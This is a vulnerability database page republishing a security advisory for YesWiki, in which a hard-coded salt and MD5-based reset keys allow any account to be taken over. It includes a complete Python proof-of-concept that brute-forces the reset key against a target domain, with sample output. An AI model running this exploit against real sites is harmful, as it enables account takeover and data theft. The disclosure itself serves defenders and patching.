Alta

YesWiki Uses a Broken or Risky Cryptographic Algorithm

  • Publicada: 31.10.2024
  • Actualizado: 11.10.2026 10:22

Summary

The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.

Details

Firstly, the salt used to hash the password reset key is hard-coded in the includes/services/UserManager.php file at line 36 :

php
private const PW_SALT = 'FBcA';

Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the includes/services/UserManager.php file at line 201 :

php
protected function generateUserLink($user)
{
    // Generate the password recovery key
    $key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT);

The key is generated from the user's name, e-mail address, a random number between 0 and 10000, the current date of the request and the salt. If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.

Proof of Concept (PoC)

To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.

python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: Nishacid
# YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto

from hashlib import md5
from requests import post, get
from base64 import b64encode
from sys import exit
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
from argparse import ArgumentParser

# Known data
salt = 'FBcA' # Hardcoded salt 
random_range = 10000  # Range for random_int()
WORKERS = 20 # Number of workers

# Arguments
def parseArgs():
    parser = ArgumentParser()
    parser.add_argument("-u", "--username", dest="username", default=None, help="Username of the account", required=True)
    parser.add_argument("-e", "--email", dest="email", default=None, help="Email of the account", required=True)
    parser.add_argument("-d", "--domain", dest="domain", default=None, help="Domain of the target", required=True)
    return parser.parse_args()

# Reset password request and get timestamp  
def reset_password(email: str, domain: str):
    response = post(
        f'{domain}?MotDePassePerdu',
        data={
            'email': email, 
            'subStep': '1'
        },
        headers={
            'Content-Type': 'application/x-www-form-urlencoded'
        }
    )
    if response.ok:
        timestamp = datetime.now() # obtain the timestamp
        timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S')
        print(f"[*] Requesting link for {email} at {timestamp}")
        return timestamp
    else:
        print("[-] Error while resetting password.")
        exit()

# Generate and check keys
def check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):
    user_base64 = b64encode(username.encode()).decode()
    data = f"{username}_{email}{random_int_val}{timestamp_req}{salt}"
    hash_candidate = md5(data.encode()).hexdigest()
    url = f"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}"
    # print(f"[*] Checking {url}")
    response = get(url)
    
    # Check if the link is valid, warning depending on the language
    if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text:
        return (True, random_int_val, hash_candidate, url)
    return (False, random_int_val, None, None)

def main(timestamp_req: str, domain: str, username: str, email: str):
    # Launch the brute-force
    print(f"[*] Starting brute-force, it can take few minutes...")
    with ThreadPoolExecutor(max_workers=WORKERS) as executor:
        futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]
        
        for future in as_completed(futures):
            success, random_int_val, hash_candidate, url = future.result()
            if success:
                print(f"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}")
                print(f"[+] URL: {url}")
                exit()
        else:
            print("[-] Key not found.")

if __name__ == "__main__":
    args = parseArgs()
    timestamp_req = reset_password(args.email, args.domain)
    main(timestamp_req, args.domain, args.username, args.email)

Simply run this script with the arguments -u for the username, -e for the email and -d for the target domain.

bash
» python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http://localhost/' 
[*] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48
[*] Starting brute-force, it can take few minutes...
[+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9
[+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K

Impact

Many impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc.

Recommendation

The safest solution is to replace the salt with a random one and the hash algorithm with a more secure one. For example, you can use random bytes instead of a random integer.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer yeswiki/yeswiki < 4.4.5 4.4.5

Referencias

Puntuación CVSS 9.9/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L
Debilidad (CWE)
CWE-327
Plataforma
Composer
Paquete
yeswiki/yeswiki
Publicada
31.10.2024
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-4fvx-h823-38v3 - CC BY 4.0

Historial de vulnerabilidades: yeswiki/yeswiki

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (31) en el archivo
Entradas en total
31
Primera → última
03.2022 07.2026
Sin corrección
2
Explotada en ataques
0

Distribución por gravedad

  • Crítica 5
  • Alta 16
  • Media 8
  • Baja 2

Divulgaciones por año

  1. 2022: 1
  2. 2023: 0
  3. 2024: 1
  4. 2025: 12
  5. 2026: 17
Gravedad:
  1. Alta · 8.8 CVE-2026-52775 < 4.6.6 4.6.6
  2. Crítica · 9.8 CVE-2026-46670 < 4.6.4 4.6.4
  3. Crítica · 10.0 CVE-2025-46348 < 4.5.4 4.5.4
  4. Alta · 7.6 CVE-2025-46349 <= 4.5.3 sin corrección
  5. Alta · 7.1 CVE-2025-24019 < 4.5.0 4.5.0
  6. Alta · 7.6 CVE-2025-24018 < 4.5.0 4.5.0
  7. Alta · 7.6 CVE-2025-24017 < 4.5.0 4.5.0
  8. YesWiki Uses a Broken or Risky Cryptographic Algorithm esta entrada
    Alta · 9.9 CVE-2024-51478 < 4.4.5 4.4.5
Mostrar más (1) Mostrando 20 de 21

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.